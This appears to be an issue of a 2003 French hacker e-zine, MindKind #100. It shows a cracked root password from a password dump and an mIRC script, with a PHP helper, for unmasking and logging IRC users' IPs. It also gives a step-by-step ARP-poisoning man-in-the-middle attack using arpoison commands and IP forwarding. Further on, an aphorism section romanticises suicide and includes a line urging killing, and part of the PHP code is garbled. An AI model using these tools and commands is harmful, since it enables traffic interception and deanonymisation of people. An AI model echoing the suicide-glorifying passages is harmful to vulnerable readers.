Owner:/nonexistent:/sbin/nologin www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/sbin/nologin nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/sbin/nologin ------------------------------------------------------------------------------- Apres ~1 minute intensive de john the ripper: arsanik (root) guesses: 1 time: 0:00:01:24 c/s: 138343 trying: Setusck - arsanik Voila...end of challange, vous etes un leet h4x0r.... .----- - -----------------------. | /MinDKinD100 .---'----------- ---------- ------- ------. '-------- - -------------- -| funky@mindkind.org | '-------- - ----------- ------------ -----' Vous vous sentez protégez avec votre acompte x ? Eh bien vous l'êtes pas. (la vérité est cruel n'est-ce pas ? En effet, peu importe la vitesse à laquelle vous envoyer votre requêtes à X pour cacher votre host, il y a toujours un délais, ce délais peu être inutilisable si on fait la job a main (du genre qu'on se rend compte que le gars est in trop tard). Par contre il suffit d'utiliser la notify list avec l'option whois on join pour avoir le host. le petit script mIRC qui suit fait 2 choses, il prend en note les host des nick en notify on join et les mets dans un fichier vhost.txt et aussi il dump le /who qui se passe lorsqu'on join un chan. (idéal pour ramasser la liste d'IPs et d'identifier ceux qui sont camouflés derrière leur user X. mIRC host grabber : ---------------------------Beginning------------------------------------------ popups .hostgrabber ..$iif(!%gethost,activate):%gethost = on ..$iif(%gethost,desactivate):unset %gethost remote raw 352:*: { if (%gethost) { write mindkind/host.txt $1 $2 $3 $+ @ $+ $4- } } on *:NOTIFY: { if (%gethost) { write mindkind/spyvhost.txt $address($nick,5) } } ----------------------------eof----------------------------------------------- .-----------[MinDKinD100\#100.04]------- ----------. [M]ind[K]ind #100 | ; | - 05/12/2003 | . "applied arp poisonning" | - rst_ack | aka '------------- ----. | "le `packet` a l'arsenic" | | _____ ; | '--------------------- ----- -[again, again n again.]---- ------------' Fonctionnement du protocole ARP Après avoir lu cet article, vous serez en mesure de comprendre et de rechercher des moyens pour prévenir une attaque de type «man-in-the-middle» sur un réseau local utilisant le protocole ARP (il y a plusieurs RFC qui expliquent son fonctionnement www.rfc-editor.org). D'autres types d'attaques peuvent être effectuées...du genre DoS mais je n'en traiterai pas dans cet article. Enfin, je suppose que vous avez un peu de bagage en terme de network (routage IP en particulier) et que vous connaissez bien tcpdump (sous Linux). ARP: c'est quoi? ARP est un protocole de communication de bas niveau du modèle OSI. Il effectue la traduction d'une adresse IP 32 bits en une adresse MAC 48 bits. Mais pourquoi faut-il faire cette traduction? Pourquoi on n'a pas seulement besoin du IP pour communiquer? Eh bien rappelez-vous que le IP sert pour le routage sur Internet ou sur un WAN, i.e. d'acheminer un packet d'un réseau local X à un réseau local Y. Un exemple est lorsque vous faites un traceroute sur un host. Le packet passe par différents routers(hops) avant d'arriver à destination. Mais dans notre exemple, lorque le packet part du résesau local X et arrive au routeur de réseau local Y, ce dernier, pour l'acheminer à la bonne machine, doit connaître son adresse MAC. Une fois connue, le packet peut être acheminé à destination. Pour les fins de l'attaque, on ne s'occupera que de ce qui se passe sur le réseau local. Au diable le routage, on n'en a pas vraiment besoin pour comprendre... Supposons un petit réseau local Ethernet composé de 2 ordinateurs (A et B) et un router (un minuscule réseau). Ces ordinateurs peuvent communiquer entre eux via un hub et peuvent accéder à Internet via un router. Linux Box Windows Box +---------+ +----------+ | A |IP: 192.168.1.101 | B | IP: 192.168.1.108 | |MAC: xx-xx-xx-xx-e0 | | MAC: xx-xx-xx-xx-c8 +---------+ +----------+ |_________________________________________| | | +----------+ | router |IP: 192.168.1.1 | |MAC: xx-xx-xx-xx-xx-9d +----------+ | | +*********************+ +*** ***+ +*** ***+ + internet + +***+ +***+ *** *** +*********************+ On se rappellera que les adresses IP peuvent être obtenues, sous la plateforme Windows, en exécutant la commande c:\ipconfig /all dans la fenêtre d’Invite MS-DOS ou, sous la plateforme Linux, par la commande $ifconfig. Chacune de ces commandes nous donnera l’adresse IP de la machine ainsi que sa MAC adresse. La MAC adresse (pour Media Access Control), est l’adresse physique de la carte réseau d’un ordinateur. Il s’agit d’un numéro unique de 48 bits au total, exprimé en 12 digits hexadécimaux. Les 6 premiers digits hexadécimaux sont administrés par l’IEEE et identifie le manufacturier de la carte. On appelle ces digits l’OUI (Organisationally Unique Identifier). Une recherche dans les bases de données de l’IEEE peut nous donner le nom du manufacturier d’une carte réseau. Les 6 derniers digits représentent le numéro de série géré spécifiquement par le manufacturier. L’adresse MAC est inscrite en mode lecture seule dans une puce mémoire de la carte et est amené en mémoire RAM de l’ordinateur au moment de l’initialisation de la carte réseau. Cette adresse est unique à travers le monde et doit l’être. La MAC adresse est permanente tandis que l’adresse IP ne l’est pas. Bon, assez de théorie comme ça. Il a été dit que l’adresse MAC était amenée en mémoire RAM. En fait, elle va se loger dans ce que l’on appelle le « ARP cache» (espace mémoire spécifique) de l’ordinateur. Il est possible d’afficher le contenu du ARP cache d’un ordinateur en exécutant la commande suivante: C:\arp -a sous Windows ou $arp sous Linux. Par exemple, voici le contenu du ARP cache de B: C:\Documents and Settings>arp -a Interface: 192.168.1.108 --- 0x10003 Adresse Internet Adresse physique Type 192.168.1.1 xx-xx-xx-xx-xx-9d dynamique et le contenu du ARP cache de A: [test@localhost]$ arp Address HWtype HWaddress Flags Mask Iface 192.168.1.1 ether xx:xx:xx:xx:xx:9d C eth0 Le ARP cache est donc un « mapping» entre une adresse IP et son adresse MAC. Maintenant, avant d’aller plus loin, il est important de comprendre comment les informations sont transmises d’un ordinateur à un autre sur un réseau. Supposons que A veuille envoyer un message à B. Pour se faire, A doit connaître l’adresse physique (adresse MAC) de l’ordinateur de B. Supposons qu'il n'y a pas de service DNS et que les adresses IP de B et du router sont connues par A. La première chose que fera A, c’est d’aller voir dans son ARP cache pour voir si une adresse MAC est associée au IP de B. Si le ARP cache ne contient aucune correspondance entre l’adresse IP de B et son adresse MAC, A émettra ce qu’on appelle un « ARP request» sur le réseau local. Cette requête sera captée par tous les ordinateurs (broadcast) sur le réseau mais seul B répondra au message car il s’adresse à lui en particulier. B émettra un « ARP reply» à A, disant que c’est lui qui a l’IP 192.168.1.108 et que son adresse MAC est xx:xx:xx:xx:xx:c8. Voici un extrait de ce type de requête ARP, obtenue avec tcpdump sous Linux: 09:22:10.400942 arp who-has 192.168.1.108 tell 192.168.1.101 09:22:10.401091 arp reply 192.168.1.108 is-at xx:xx:xx:xx:xx:c8 La première ligne constitue la requête ARP produite par A. La seconde est la réponse de B. La cache de l’ordinateur de A est par la suite mise à jour avec ces nouvelles informations: [root@localhost]$ arp Address HWtype HWaddress Flags Mask Iface 192.168.1.1 ether xx:xx:xx:xx:xx:9d C eth0 192.168.1.108 ether xx:xx:xx:xx:xx:c8 C eth0 Dorénavant, lorsque A voudra envoyer des packets à B, il consultera son ARP cache, constatera que le IP 192.168.1.108 correspond à la MAC xx:xx:xx:xx:xx:c8 et pourra envoyer directement l’information à B. Le même processus s’applique pour les échanges d’informations entre le réseau local et Internet, c’est-à -dire au-delà des frontières du router. Par exemple, supposons que A veuille visionner la page web de mindkind.org. Supposons qu'il n'y a pas de services DNS et que A connaît l’adresse IP du site mindkind.org. Dans un premier temps, A examinera sa table de routage et constatera qu’il 'y a pas d'entrée pour le IP de mindkind.org et qu'il ne se situe pas sur le réseau local. A doit donc envoyer son packet au router, qui lui s’occupera de l’acheminer à mindkind.org. Dans ce cas ci, A a donc besoin de connaître l’adresse physique du router car il doit lui envoyer le paquet. Supposons que le ARP cache de A ne contient pas d'entrée pour l'adresse IP du router. A émettera donc la requête ARP suivante: 09:25:10.400942 arp who-has 192.168.1.1 tell 192.168.1.101 09:25:10.401091 arp reply 192.168.1.1 is-at xx:xx:xx:xx:xx:9d Le router, ayant l’adresse IP 192.168.1.1, informe A que son adresse MAC est xx:xx:xx:xx:xx:9d. Maintenant, A est en mesure d’envoyer physiquement son packet au router. Ce dernier suivra la même procédure pour acheminer le packet soit directement à mindkind.org, soit à un autre router. Ouf, c’est un peu simplifié mais ça ressemble pas mal à ça. J'avais dis que je parlerais pas de routage mais bon... Le malicieux hacker Maintenant que nous connaissons un peu mieux le fonctionnement du protocole, nous allons voir quels types d’attaques pourraient être dirigées par un hacker sur le réseau. Rappelons que les principaux messages du protocole ARP sont les suivants: ARP request (Qui a ce IP) ARP reply (J’ai ce IP, mon adresse MAC est…) Reverse ARP (RARP) request (Qui a cette adresse MAC?) RARP reply (J’ai cette adresse MAC, mon IP est...) Le côté obscure du protocole ARP est sa totale aversion pour la sécurité. En effet, le protocole ARP est peu sécuritaire i.e. qu’il prend tout pour du cash. Mais il est tout de même nécessaire!!! En fait, n’importe qui sur le réseau peut envoyer un "ARP reply" à une machine, sans avoir reçu de "ARP request" au préalable de celle-ci. Ce ARP reply sera accepté, sans qu’aucune question ne soit posée. Un usager malicieux pourrait ainsi profiter de cette défaillance et modifier à sa guise le ARP cache d’un ordinateur. C'est ce que l'on appelle du ARP poisoning. Mais à quoi ça sert de faire ça me direz-vous? Eh bien, c’est une façon de se faire passer pour quelqu’un d’autre (spoofing). Et à quoi ça sert de se faire passer pour un autre ordinateur? Eh bien, il serait possible d’intercepter tout le trafic de packet entre deux ou plusieurs ordinateurs, entre un ordinateur ou Internet, etc. Mouin, pis! Eh bien poser la question c’est y répondre ! ;)P Ce que je vais présenter ici c’est l’attaque du « man-in-the-middle», qui consiste à tromper deux individus. Dans mon cas, il s’agit de B et du router. Disons que je suis A et je veux intercepter toutes les communications entre B et le router. Comment je vais m’y prendre? Eh bien je pourrais, dans un premier temps, me faire passer pour B aux yeux du router et, par la suite, me faire passer pour le router aux yeux de B. Simple non? Mais comment mettre tout ça en pratique? Eh bien, comme je l’ai dit tout à l’heure, un ordinateur accepte tout bêtement un ARP reply, sans se poser de question, et met automatiquement à jour son ARP cache en fonction du contenu de la requête. Or, je n’ai qu’à envoyer un ARP reply au router disant que je suis B et un ARP reply à B disant que je suis le router. Et ça va marcher ? Oui monsieur ou madame bien entendu;)! Mais il va falloir essayer de synchroniser nos ARP reply le plus possible car le "pot-aux-roses" pourrait être découvert!!! Ok, jusque là, ça va. Mais comment peut-on envoyer ces ARP reply? Eh bien soit vous concevez vous-même un programme utilisant les « raw sockets» ou l’interface proposée par la librairie « libnet» (en C bien entendu) ou bien vous optez pour un logiciel du « marché», genre « arpoison» disponible en code source sur le site www.packetstormsecurity.nl. Pour ma part, j’ai installé la librairie « libnet» et j’ai compilé « arpoison» avec gcc. C’est avec cet exécutable que j’ai conduit mon attaque du « man-in-the-middle» (sur mon lab personnel bien entendu;)). Bon, le logiciel est installé et prêt à être utilisé. Qu’est ce que j’ai besoin comme information? J’ai besoin de mon adresse IP (192.168.1.101), de mon adresse MAC (xx:xx:xx:xx:xx:e0), de l’adresse IP du router (192.168.1.1), de l’adresse MAC du routeur (xx:xx:xx:xx:xx:9d), de l’adresse IP de la victime (192.168.1.108) et de l’adresse MAC de la victime (xx:xx:xx:xx:xx:c8). Mais comment obtenir toutes ces informations me direz-vous? Simple. Un bon scanner fera l’affaire. Et si vous êtes patient, un ping sur une adresse IP victime fera en sorte de mettre à jour votre propre ARP cache avec son adresse MAC ! Les commandes Je veux d'abord dire au router que je suis B. Voici la ligne de commande pour arpoison: arpoison -i eth0 -d192.168.1.1 -s192.168.1.108 -txx:xx:xx:xx:xx:9d -rxx:xx:xx:xx:xx:e0 -n1 Analyse: -i eth0 J’envoie le ARP reply via mon interface eth0 (Linux) -d192.168.1.1 Le ARP reply est destiné au routeur -s192.168.1.108 C’est l’adresse IP de B -t C’est l’adresse MAC du routeur -r C’est mon adresse MAC Pourquoi tous ces IP et ces MAC? Parce qu'un ARP reply doit contenir toutes ces informations. Je vous fait grâce de la structure formelle du ARP reply car mes talents en dessins ASCII son plutôt médiocres. Allez voir sur le net à la place!! En fait, j’informe le router que l’adresse IP de B correspond à mon adresse MAC. Donc tout ce qui va aller à B passera par A i.e. moi. Voici l’extrait de tcpdump suite à la commande arpoison: 11:04:07.069402 arp reply 192.168.1.108 is-at xx:xx:xx:xx:xx:e0 Je veux maintenant dire à B que je suis le router. Voici la ligne de commande à entrer dans arpoison: arpoison -i eth0 -d192.168.1.108 -s192.168.1.1 -txx:xx:xx:xx:xx:c8 -rxx:xx:xx:xx:xx:e0 -n1 Analyse: -i eth0 J’envoie le ARP reply via son interface eth0 -d192.168.1.108 Le ARP reply est destiné à B -s192.168.1.1 C’est l’adresse IP du routeur -t Adresse MAC de B -r C’est mon adresse MAC En fait, j’informe B que le IP du router correspond à mon adresse MAC. Donc tout ce que B va transmettre sur Internet va transiter par mon ordinateur. Voici l’extrait de tcpdump suite à la commande arpoison: 11:04:07.069402 arp reply 192.168.1.1 is-at xx:xx:xx:xx:xx:e0 Le ARP cache de B devient donc le suivant: Interface: 192.168.1.108 --- 0x10003 Adresse Internet Adresse physique Type 192.168.1.1 xx-xx-xx-xx-xx-e0 dynamique Le arp cache du router devient le suivant : (…) 192.168.1.101 xx-xx-xx-xx-xx-e0 192.168.1.108 xx-xx-xx-xx-xx-e0 C’est bien beau tout cela, le trafic est redirigé comme on voulait. Toute communication entre B et le router passe par A. Mais si on laisse ça comme ça, l’effet sera que B n’aura plus accès à Internet donc il sera victime d’une attaque DoS. Il ne faut donc pas oublier d'activer le routage sur A, et de cette façon, B pourra toujours aller sur Internet et ne verra pas les changements que j’ai apporté à son ARP cache. Comment faire? Eh bien, je l’ai fait sous Linux seulement. Pour se faire, il faut modifier la valeur du fichier « ip_forward» que l’on trouve dans le répertoire suivant: /proc/sys/net/ipv4/ La valeur 1 doit être insérée dans le fichier ip_forward. On peut le faire comme suit: $echo 1 > ip_forward Une fois activé, mon ordinateur devient donc lui-même un router et intercepte toutes communications entre l’ordinateur B (victime) et Internet. Et voilà !!! .----- - -----------------------. | /MinDKinD100 .---'----------- ---------- ------- ------. '-------- - -------------- -| scryptoman@hotmail.com | '-------- - ----------- ------------ -----' Voici un petit complément PHP au script mIRC que vous avez pu trouver a l'entre article précèdent. il prend la liste de host généré par le script et les modifies en IP et sépare les host Undernet dans un fichier a part (pour les mettre en notify). il fonctionne sous Windows (Cygwin) et linux. Vous aurez sûrement à changer l'entête pour utilise votre interpréteur PHP avec le script (défaut to /usr/local/bin sous Linux). ---------------------------------begining--------------------------------- #!/usr/local/bin/php/php.exe 5) $entry++; { $trim = explode("@",$buffer[$x]); $retrim = explode(" ",$trim[1]); $host[$x] = $retrim[0]; $nick[$x] = $retrim[2]; $undernet = explode(".", $host[$x]); //echo $undernet[2]."\r\n"; if (@strtolower($undernet[2]) == "undernet") { $unethost++; //echo $host[$x]."\r\n"; fputs($output2,$host[$x]."\r\n"); fputs($output3,"$host[$x] $nick[$x]\r\n"); } else { $ip[$x - $unethost] = gethostbyname($host[$x]); fputs($output,$ip[$x - $unethost]."\r\n"); fputs($output3,$ip[$x - $unethost]." ".$nick[$x]."\r\n"); //echo $ip[$x]."\r\n"; } } } fclose($output); fclose($output2); fclose($output3); echo "\r\n"; echo "total en entry : ".$entry."\r\n"; echo "nombre de vhost undernet : ".$unethost."\r\n"; echo "nick are in $nfile , ip are in $ofile and unet vhost are in $o2file \r\n"; ?> ----------------------------------eof------------------------------------- .-----------[MinDKinD100\#100.05]------- ----------. [M]ind[K]ind #100 | | - 16/12/03 | . L'ironie du pessimisme | - c4ndu | aka '------------- ----. | "j'm'appelle Louis, fuck you." | | _____ ; | '--------------------- ----- -[again, again n again.]---- ------------' La philosophie, disait-il, ne s'apprend pas, elle se comprend que lorsque nous avons nous-même méditer sur ce que bon nous semble. Faire la part entre le bien et le mal, c'est démontré l'antipode de la réflexion unanime. Ça n'arrive pas, ou que très rarement, que dans un groupe à part, une classe de gens qui se mettent d'accord sur une idée quelconque. Choisissez bien celui que vous lirez, ne vous laissez pas imposer une lecture par simple devoir intellectuel : on s'attache à un philosophe car on la choisi, car il est du même groupe que nous, car il représente publiquement ce qu'on n'a pas la force de représenter. * Le bien et le mal sont 2 valeurs tellement relatives, qu'essayez de leur donner un sens ou une interprétation quelconque, nous apportent souvent vers une image idéaliste. Il n'y a pas que la Bible, les religions et la famille qui nous donnent une définition potable du bien et du mal. On peut facilement accuser notre pays, qui par notre culture, nous indique les différents chemins portant vers une réponse facile. Sachez en tout temps faire la part des choses, on peut alors facilement en arriver à une conclusion un peu bizarre, portant sur le respect des autres, l'amour, l'amitié : il n'y a rien de plus égoïste que de penser par soi-même. * L’homme n'a pas seulement détruit ce qui l'entoure, il s'est détruit lui-même par sa quête de connaissance. N'oubliez pas ce que Cioran dit au début de son livre La Tentation D'Exister, et je cite: nous devons la quasi-totalité de nos découvertes à notre violence. Nous découvrons certaines choses lorsque nous avons atteint un certain degré de pouvoir potentiel : la guerre comme tel n'est pas utile, seul l'idée de la guerre suffit. * Lorsqu'on fini par croire à nos idées, c'est signe que la fatigue a pris le dessus, que notre cerveau n'a pas encore atteint son potentiel : ne soyez jamais trop certain; douter, parfois, peut nous apporter un certain pouvoir exceptionnel. En tout temps, la sagesse n'est pas le but recherché; le but recherché est, tant qu'à lui, plutôt vaste et sans frontière. La sagesse n'est donc pas signe d'éventualité mais mère de la stupidité. Soyons sage, tuons-nous les uns les autres ... * L'artiste moderne continue d'essayer de recréer la roue; son style, c'est la façon avec laquelle vous êtes porter à gober son ironie. Il recrée la roue, il l’adapte continuellement au moindre changement d'une société. La masse intelligente d'artiste qui se distingue par leurs façons de faire sont vite oubliés : il n'y a rien de plus cruel que la recherche du sentiment déjà vu; il n'y a rien de plus cruel que de la nostalgie. * Avoir commis le pire crime sur terre : celui de ne pas être digne d'avoir été ton confident ... * Ne sous-estimer jamais le pouvoir d'un con. Son égocentrisme et sa stupidité hors du commun en font quelqu'un de très spécial. Il vous détruira intérieurement et extérieurement à la moindre occasion; il sautera sur la moindre erreur intellectuelle de votre part, et doublera les conséquences de l’erreur par sa quête de sensationnalisme. Ne cherchez jamais à vaincre la stupidité humaine : la seule façon de contrer la stupidité, c'est en l’éliminant. * Se sentir libre, c'est en quelque sorte frôler la folie. Si vous vous sentez libre, c'est qu’en quelque part, un jour, à un moment ou un autre, vous avez commis un acte stupide, qui ne demande aucune réflexion morale. Le mot liberté est, tant qu'a lui, d'une relativité un peu bizarre, qui, par bon jugement d'une société organisée et loyale, nous est donné sur un plateau d'or, sans qu'on ait à se poser aucune question. Les lois étant d'ailleurs notre seule justification et anti-relativité de mot liberté. Alors, sentez vous libre, car qui sait, demain, ça sera peut-être interdit. * Avoir déçu tout le monde de mon entourage, sauf moi-même. * La solitude nous rattrapera tôt ou tard, d'une façon ou d'une autre, elle nous grugera jusqu'à notre dernier souffle, jusqu'à notre dernier soupir optimiste. La première réaction de l'homme, lorsqu'il a peur, c'est de s'assimiler lui-même : l'homme qui sent que la solitude va finir par e rattraper, commencera à l'aimer, il se sentira inconsciemment bien dans celle-ci. Ironiquement, il n’existe pas de meilleur moyen pour se découvrir sois-même que la solitude. Parallèlement a l'ironie, l'homme qui fini par se découvrir à son plein potentiel n'a plus de raisons valables et potables de rester en vie : la solitude nous tue tous un jour ou l'autre ... * Le problème avec la vie, c'est n'est pas qu'elle soit totalement insupportable, mais qu'elle nous ait été donnée à notre naissance sans qu'on ait un mot à placer. * Ne vous battez pas contre une majorité, subissez-la, endurez-la, jusqu'à ce que vous en ayez assez, jusqu'à ce que vous ne puissiez même plus y penser; ensuite tuez, sous le prétexte que vous êtes devenu fou. * Aujourd’hui ma vie n'a plus aucun sens. Je me refuge derrière toute personne prête à m'aider, et plus souvent qu'autrement, dans un laps de temps relatif, elles me déçoivent. J’aurais aimé être ignorant : ignorant comme un non née ... * "Je n'ai pas réellement peur de la mort, seulement celle par souffrance", m'avait-il avoué. J’aurais eu envie de lui expliquer qu'on meurt par souffrance,à tous les coups; elle dure en moyenne 72 ans : on l'appelle la vie. * Si la vie valait la peine d'être vécue, se tuer perdrait tout son charisme. * Pourquoi pleures-tu ? Si seulement dieu pouvait exister; qu'un seul instant, je puisse arrêter de douter en son existence, je me sentirais peut-être moins seul, et j'aurais quelqu'un vers qui courir, vers qui me réfugier ... quelqu'un avec qui pleurer. * La raison pour laquelle je n'ai jamais sombré dans l'utopie de la poésie, c'est que je n'ai pas l'amour des mots. Chaque mot est un mot de trop, comme disait Cioran ... * Ce qui me fait le plus mal, ce n'est pas qu'on se reparlera plus, mais qu'on s'est parlé une dernière fois. * Les souvenirs que l'on conserve d'une personne se doivent d'être uniquement cérébral, les biens matériaux sont que de la nostalgie potentielle. * Ces heures durant, où je regardais la noirceur de ma chambre, m'imaginant la facilité à être du néant ... * Vers le plus creux d'une période sombre, on devient carrément indifférent à la souffrance. * J’admire ceux qui ont eu le courage d'en finir, autant que ceux qui ont eu le courage de continuer; mais je n'admire pas ceux qui ont eu le courage de dire que la vie valait la peine d’être vécue. * M’avoir détaché de tout lien d'amitié possible, et être encore dans l'impossibilité de l'oublier : le malaise d'avoir mal réussi une des deux parties, l'égoïste de notre conscience ... * Avoir essayé tout ce qui ne s'essaie pas, en commençant par essayer d'avoir l’air heureux. * M’avoir fait offert cette vie à n'importe quel âge, n'importe quel moment, et de n'importe quelle façon; encore là, j'aurais sûrement rager, et tuer le donneur. * Cet homme avait attendu la mort tellement longtemps, qu'il en avait fini par en oublier le sens tragique ... * Personne n'a pu être assez méchant pour mériter cette vie. * Il est d'un drôle de plaidoyer que de se dégager de tout engagement possible, et de ne même pas essayer de faire passer le temps. * Avoir quand même compris une partie de leur personnalité, je n'ai toute fois jamais compris comment un être pouvait être assez déranger pour imposer ses morales aux autres. * Le suicide n'est jamais un acte accepté, sauf par celui qui le commet. * Comme si tout ce qui était attaché à notre passé n'est pas assez suffisant pour se tuer, on ne peut faire autrement que de penser au futur. * Cette sensation, si profonde et apaisante : la pensée du mort que l'on pourrait être. * Plus je vis, moins le besoin de continuer se fait sentir. * Parmi tous ces intellects, on admire leur lucidité. Parmi tous ces gens déprimés, on aimerait leur donner l'ignorance. * Cette nuit là, avoir eu un peu plus de lucidité, je me serais sûrement tuer. * Ma lucidité, étant la cause numéro un d'une dépression plus longue que prévue. * Avoir eu X nombre de difficultés, il me semble quand même encore inacceptable de ma part de porter autant d'attention à cette vie. * Si l'ensemble nous démontre le suicide comme étant un acte immoral, il n'est pas surprenant de voir que tant de gens décide de mourir de façon naturelle. * A le regarder pleurer ainsi, il vient sûrement de réaliser à quel point il était égoïste; égoïste à un tel point qu'il pleure pour lui-même. * Ces idées noires sont souvent plus réalisables que les projets d'une vie entière. * Il n'y a pas de plus fausse représentation qu'un livre, car beaucoup de ces auteurs ont écrit dans un vent de folie, dans un état de panique, dans une attaque contre leur lucidité : n'ayant pas d'autres alternatives que d'écrire,au risque de ne plus avoir la chance de regretter quoi que ce soit. * Je crache sur cette société en sachant très bien que ce n'est pas uniquement de sa faute si ce monde est devenu tel;mais le confort d'avoir une cible précise m'est de beaucoup plus satisfaisante qu'être un fou sans raison. * J'aurais voulu ne jamais sombrer dans cet etat mental, ne pas l'avoir connu, et ne meme pas y penser. Mais ca me semble carrement impossible, car en naissant, on s'attache a tout ce qui vient avec, en commencant par une conscience asser developer pour avoir la possibilité de s'imaginer que l'on aurait pu ne pas etre. * 3h50 du matin, l'idee d'aller me coucher me frappe l'esprit; puis j'ai peur des malhaises que je vais ressentir en me levant: cet amertume incontrolable, la rage, la depression, l'ennui, et surtout, l'envi de ne plus y etre ... une derniere cigarette, j'irai peut-etre ensuite. * Sont merite n'etait pas d'avoir écrit de bon livres, mais de l'avoir fait avant les autres. * plus on vieillie, moins on pleur et plus on ecrit. * un malhaise n'existe pas parce qu'on la nommer, mais car on la ressentie. * la depression profonde, c'est la contre envi d'essayer des solutions : il etait croyant et n'a meme pas prit la peine de prier. Il etait determiner a aller dans le meme sens que sa conscience, son esprit la guider ainsi ... cette vie lui parraissait trop longue et cette misere trop grande : alors il s'est tuer. * on ne peut exploiter les choses qu'une fois comprises. * si j'avais su qu'il ne fallait jamais comprendre ... * j'ai courru longtemps, pour enfin m'arreter, et realiser a quel point ce monde ne m'appartien pas et qu'il m'est beaucoup plus aiser de ne rien faire ... * il y a trop de thoerie et pas asser de bonnes idees. * on cherche le bonheur que dans les mauvais moment tellement on ne le percoi pas lorsqu'il est present. * c4ndu. .----- - -----------------------. | /MinDKinD100 .---'----------- ---------- ------- ------. '-------- - -------------- -| c4ndu@mindkind.org | '-------- - ----------- ------------ -----' UUE: la solution la plus cheap quon a trouver pour faire dla stégano et de hidding de fichier contre les épais. Dans Unix servez-vous de "uuencode" pour créer le dump UUE des fichiers que vous voulez encoder. Si vous avez juste windows, assayer Cygwin ou ben débrouiller vous avec google.. heh. Voici quoi mettre dans le fichier blah.uue (qui va surement s'ouvrir dans Winzip sous Windows, si Winzip est installé) : ------------ blah.uue ----------------------------------------------- begin 400 mkd.gif M1TE&.#EA+@$_`+,``````/___P`````````````````````````````````` M`````````````````````"P`````+@$_```$_C#(2:N]..O-N_]@*(YD:9YH MJJYLZ[YP+,]T;=]XKN]\[__`H'!(+!J/R*1RR6PZG]"H=$JM6J_8K';+[7J_ MX+!X3"Z;S^BT>LUNN[.`N%PDGU?J<1T>8-E__#F`1X)1A!Z&`8@TB(H8C3*/ M0)%*DQ>,>'J8=YH=E2Z>/*!&HA.7=9FGFZF=G#>D@:U0KXFQM*NNM:*S*+LV MO9*U'*9V.,-YA\$SOXO)3'O$&<_'1,9\3LO*S4O2UAKSWML35ZJ+MZT'#>TEQ,<)8#UO_A;I[%/8CZ*CD294DU* M]BI,G]W$QMS*%BO!KE;'FE7:]NRL7D;7MM1K=RI?NFZGJ44+N*_6E3KK%EY< M5BY+KHE?#I[L%^TCRH<-OP4)&7/=O)PW1Q1JN;+GP)KWSFW\ES5AGLU.IR;* M"O)HU:!E,UYM]K+IW[:#(F[-VS%?T"[/PE[54[=KV:*)&W]=7/IMY=:I3R<7 MCWISX(J?2QY>77OVP3J3[][N-33YY?]H.B\/_?UY\*BK;IX_7;_]Q_'M\63> M@/S=)^!Z!H977GK"S8;@@`#^!Y]@\N'GH'B9^9;9@^C!M9^%#T:(70F"?+>N&`*-A:)8Y!`VLC@ M5T+JV&-_1![IY(7T065DD]DM*2.62#[)PI5)QA92CCQ261AI6C9(VH^JA066 MCU*6&>)QN%D99V]M>OA?3JZYV9E*$C(9)I<=EA:7G(@.:>A=YO"I*')TKOC& MI)16:NFEF&:JZ::<=NKIIZ"&*NJHI)9JZJFHIJKJJJRVZNJKL,8JZZRTUFKK 0K;CFJNNNO/;JZZ\V1```.Z"& ` end Ici vous marquez ce que vous voulez, et vous avez de la stéganographie la plus cheap qu'on peut pas trouver! Comment cacher du txt dans un file qui souvre "normal"? La réponse: UUE! OMG! WTF? OMG!!! begin 000 :pastouche M?T5,1@$!`0E& int main() { int x = 1; int z; z= ++x + ++x + ++x; printf ("la valeur de z est %d\r\n", z); return(0); } ---------------------------------------------------------------------- -------------------------------C++------------------------------------ #include using namespace std; int main(int argc,char* argv[]) { unsigned int x = 1; cout << "La valeur est " << ++x + ++x + ++x << endl; return (0); } ---------------------------------------------------------------------- -------------------------------JAVA----------------------------------- public class test { public static void main(String arg[]) { int x = 1; int z; z = ++x + ++x + ++x; System.out.println("z est egal a :" + z); } } ---------------------------------------------------------------------- -------------------------------PHP------------------------------------ #!/usr/bin/php ---------------------------------------------------------------------- -------------------------------TCL------------------------------------ #!/usr/bin/tclsh set x 1 set z [expr [incr x] + [incr x] + [incr x]] puts $z ---------------------------------------------------------------------- ------------------------------PYTHON---------------------------------- #!/usr/bin/python z=1 z1 = 1+z z2 = 1+z1 z3 = 1+z2 z = z1 + z2 + z3 print z ---------------------------------------------------------------------- -------------------------------PERL----------------------------------- #!/usr/bin/perl my $x = 1; my $z = ++$x + ++$x + ++$x; print "$z\n" ; ---------------------------------------------------------------------- Mathématiquement parlant la réponse devrait être 2 + 3 + 4 = 9. Certains langages de programmation donnent 10... MYSTERE!!!! -----CE QUE ÇA PRINT-------------------------------------------------- PERL: 10 PYTHON: 9 TCL: 9 PHP: 9 JAVA: 9 C++: 10 C: 10 (C++/C testés avec GCC 2 et 3 et M$ Visual Studio 6.0) Note: Python est tellement bizzare, que z = ++z + ++z + ++z donne 3.. mais bon ok le parser doit capoter pis faire 0 + 0 + z + 0 + 0 + z + 0 + 0 + z hehe! ---------------------------------------------------------------------- .-------[MinDKinD100\#100.07]------- ---- - -------. [M]ind[K]ind #100 | | - 24/08/2003 | . * le chaos (pour illaitrés) | - h3 | aka '------------- ----. | "OMG the world is float!" | | _____ . | '------------------------[ again, again n again.]---- ----------------' 135876495874984631864862158432485149798 * 594989101078L03242792472948729487231104 185159215328549E89743624439255872575821 4189234t81929448C2H29484294892449248424 292837239249583A4O958542983452985419511 319874191719827419S02341873491847915762 by h3 at mindkind dot org [ P R É L U D E ] Imaginez que les choses les plus complexes qui compose notre univers obéissent à des algorythmes simples, mais itérés à l'infinis générant des systèmes complèxes et apparament aléatoire ? Depuis longtemps les scientifiques avaient une notion du chaos, du "random", mais maintenant ils sont conscient que ce chaos contient un certaint ordre et on dévlopper des méthodes pour le mesurer et l'illustré. Les premières recherches éclairées sur ce sujet ne datent pas d'hier, en fait personne sait qui exactement à découvert ce principe , mais l'un des premier à l'avoir réellement observé est Edward Lorenz en 1960 Sur un ordinosaure (un Royal McBee qui ressemblait plus à un tas de tubes à vide et de fils qu'un ordinateur) il simulait la météo sur sa bombe avec ses 60 opérations seconde. c'est en 1961 en voulant simulé une météo virtuelle sur sont ordinateur qu'il vis pour la premiere fois le chaos, il entras des donnés météo réel comme point de départ et démerra sont application. Apres avoir été cherché du café pour s'échapper du bruit de sont ordinosaure, il eu une surprise, le graphique tracé par sont ordinateur ne correspondait pas à la réalité, en fait, au début du graph les lignes se suivait de près, mais plus le graph avancait dans le temps plus la simulation virtuel se détachait de la ligne représentant la météo réel en présentant des courbes de plus en plus chaotique pour 